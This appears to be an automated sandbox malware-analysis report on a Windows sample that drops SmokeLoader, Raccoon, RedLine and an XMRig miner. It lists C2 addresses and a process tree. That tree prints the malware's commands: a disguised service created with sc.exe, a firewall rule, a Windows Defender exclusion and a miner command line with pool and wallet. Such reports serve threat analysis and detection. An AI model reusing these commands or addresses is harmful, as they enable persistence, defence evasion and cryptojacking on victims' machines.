Analysis

  • max time kernel
    152s
  • max time network
    189s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    05/10/2021, 14:32

General

  • Target
    a6ca42ecfea01ad205d3a34780eb08c6.exe
  • Size 238KB
  • Sample211005-rwc2qsachk
  • SHA256 e777e7d65c22cc77d0b17b09c18abd32dc7f812a7d99f515167da8190cb1d2df
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family
  • raccoon

Version
  • 1.8.1

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • Proliv

C2
  • 93.115.20.139:28978

Extracted

Family
  • redline

C2
  • 193.56.146.60:56554

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 7 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 10 IoCs
  • Windows security modification 2 TTPs 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6ca42ecfea01ad205d3a34780eb08c6.exe
    "C:\Users\Admin\AppData\Local\Temp\a6ca42ecfea01ad205d3a34780eb08c6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Users\Admin\AppData\Local\Temp\a6ca42ecfea01ad205d3a34780eb08c6.exe
      "C:\Users\Admin\AppData\Local\Temp\a6ca42ecfea01ad205d3a34780eb08c6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1916
  • C:\Users\Admin\AppData\Local\Temp\451A.exe
    C:\Users\Admin\AppData\Local\Temp\451A.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Users\Admin\AppData\Local\Temp\451A.exe
      C:\Users\Admin\AppData\Local\Temp\451A.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1372
  • C:\Users\Admin\AppData\Local\Temp\47AA.exe
    C:\Users\Admin\AppData\Local\Temp\47AA.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Users\Admin\AppData\Local\Temp\47AA.exe
      C:\Users\Admin\AppData\Local\Temp\47AA.exe
      2⤵
      • Executes dropped EXE
      PID:520
    • C:\Users\Admin\AppData\Local\Temp\47AA.exe
      C:\Users\Admin\AppData\Local\Temp\47AA.exe
      2⤵
      • Executes dropped EXE
      PID:628
    • C:\Users\Admin\AppData\Local\Temp\47AA.exe
      C:\Users\Admin\AppData\Local\Temp\47AA.exe
      2⤵
      • Executes dropped EXE
      PID:1688
  • C:\Users\Admin\AppData\Local\Temp\50DF.exe
    C:\Users\Admin\AppData\Local\Temp\50DF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iujfelhd\
      2⤵
        PID:1632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jmkfzgqa.exe" C:\Windows\SysWOW64\iujfelhd\
        2⤵
          PID:824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iujfelhd binPath= "C:\Windows\SysWOW64\iujfelhd\jmkfzgqa.exe /d\"C:\Users\Admin\AppData\Local\Temp\50DF.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1648
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description iujfelhd "wifi internet conection"
            2⤵
              PID:1936
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start iujfelhd
              2⤵
                PID:1016
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:720
              • C:\Users\Admin\AppData\Local\Temp\5340.exe
                C:\Users\Admin\AppData\Local\Temp\5340.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Windows security modification
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:1532
                • C:\Users\Admin\AppData\Local\Temp\97728a72-0f77-4bfe-9320-9eff53c3cd15\AdvancedRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\97728a72-0f77-4bfe-9320-9eff53c3cd15\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\97728a72-0f77-4bfe-9320-9eff53c3cd15\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1552
                  • C:\Users\Admin\AppData\Local\Temp\97728a72-0f77-4bfe-9320-9eff53c3cd15\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\97728a72-0f77-4bfe-9320-9eff53c3cd15\AdvancedRun.exe" /SpecialRun 4101d8 1552
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1632
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\5340.exe" -Force
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1656
                • C:\Users\Admin\AppData\Local\Temp\5340.exe
                  "C:\Users\Admin\AppData\Local\Temp\5340.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:1304
                • C:\Users\Admin\AppData\Local\Temp\5340.exe
                  "C:\Users\Admin\AppData\Local\Temp\5340.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:1912
              • C:\Users\Admin\AppData\Local\Temp\5F14.exe
                C:\Users\Admin\AppData\Local\Temp\5F14.exe
                1⤵
                • Executes dropped EXE
                PID:1096
              • C:\Windows\SysWOW64\iujfelhd\jmkfzgqa.exe
                C:\Windows\SysWOW64\iujfelhd\jmkfzgqa.exe /d"C:\Users\Admin\AppData\Local\Temp\50DF.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1972
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1764
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:520

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/520-185-0x0000000000210000-0x0000000000301000-memory.dmp

                    memory/1096-117-0x0000000000400000-0x00000000008AB000-memory.dmp

                    memory/1096-107-0x0000000000320000-0x00000000003B0000-memory.dmp

                    memory/1256-64-0x00000000038C0000-0x00000000038D5000-memory.dmp

                    memory/1256-65-0x0000000003A80000-0x0000000003A90000-memory.dmp

                    memory/1256-104-0x0000000004970000-0x0000000004985000-memory.dmp

                    memory/1532-112-0x0000000005950000-0x00000000059C3000-memory.dmp

                    memory/1532-86-0x00000000000D0000-0x00000000000D1000-memory.dmp

                    memory/1532-88-0x00000000047F0000-0x00000000047F1000-memory.dmp

                    memory/1620-92-0x0000000000020000-0x0000000000033000-memory.dmp

                    memory/1620-93-0x0000000000400000-0x000000000086B000-memory.dmp

                    memory/1656-154-0x0000000005730000-0x0000000005731000-memory.dmp

                    memory/1656-167-0x0000000006280000-0x0000000006281000-memory.dmp

                    memory/1656-168-0x000000007EF30000-0x000000007EF31000-memory.dmp

                    memory/1656-184-0x0000000006310000-0x0000000006311000-memory.dmp

                    memory/1656-147-0x0000000002450000-0x0000000002451000-memory.dmp

                    memory/1656-183-0x0000000006300000-0x0000000006301000-memory.dmp

                    memory/1656-144-0x0000000004820000-0x0000000004821000-memory.dmp

                    memory/1656-148-0x00000000047E0000-0x00000000047E1000-memory.dmp

                    memory/1656-142-0x0000000001D70000-0x0000000001D71000-memory.dmp

                    memory/1656-149-0x00000000047E2000-0x00000000047E3000-memory.dmp

                    memory/1656-160-0x0000000006120000-0x0000000006121000-memory.dmp

                    memory/1656-159-0x00000000056C0000-0x00000000056C1000-memory.dmp

                    memory/1656-169-0x0000000006220000-0x0000000006221000-memory.dmp

                    memory/1656-151-0x0000000004790000-0x0000000004791000-memory.dmp

                    memory/1688-129-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/1688-134-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

                    memory/1688-132-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/1728-71-0x0000000000110000-0x0000000000111000-memory.dmp

                    memory/1728-79-0x0000000000260000-0x0000000000261000-memory.dmp

                    memory/1764-113-0x0000000000120000-0x0000000000135000-memory.dmp

                    memory/1912-145-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/1912-150-0x00000000046E0000-0x00000000046E1000-memory.dmp

                    memory/1912-140-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/1916-60-0x0000000000400000-0x0000000000409000-memory.dmp

                    memory/1916-62-0x0000000075201000-0x0000000075203000-memory.dmp

                    memory/1960-63-0x0000000000020000-0x0000000000029000-memory.dmp

                    memory/1972-116-0x0000000000400000-0x000000000086B000-memory.dmp